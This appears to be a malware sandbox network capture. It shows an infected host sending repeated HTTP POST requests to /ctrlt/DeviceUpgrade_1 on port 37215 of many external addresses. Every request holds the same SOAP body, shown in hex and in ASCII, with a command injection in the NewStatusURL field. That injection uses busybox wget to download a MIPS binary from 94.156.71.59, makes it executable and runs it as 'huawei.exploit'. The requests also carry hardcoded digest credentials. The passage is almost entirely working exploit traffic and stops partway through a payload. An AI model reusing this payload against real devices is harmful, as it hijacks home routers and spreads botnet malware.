79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.13	48328	41.15.193.245	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.965472937 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.13	41788	197.234.232.228	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.966319084 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.13	36602	197.230.194.3	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.967169046 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.13	58160	197.119.156.133	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.968007088 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.13	45692	156.27.221.22	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.968821049 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.13	49034	197.216.238.129	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.969655037 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.13	60046	41.174.115.39	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.970505953 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.13	47258	41.170.34.101	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.971340895 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.13	41548	197.33.14.33	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.972188950 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.13	56350	156.211.89.221	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.973057985 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo 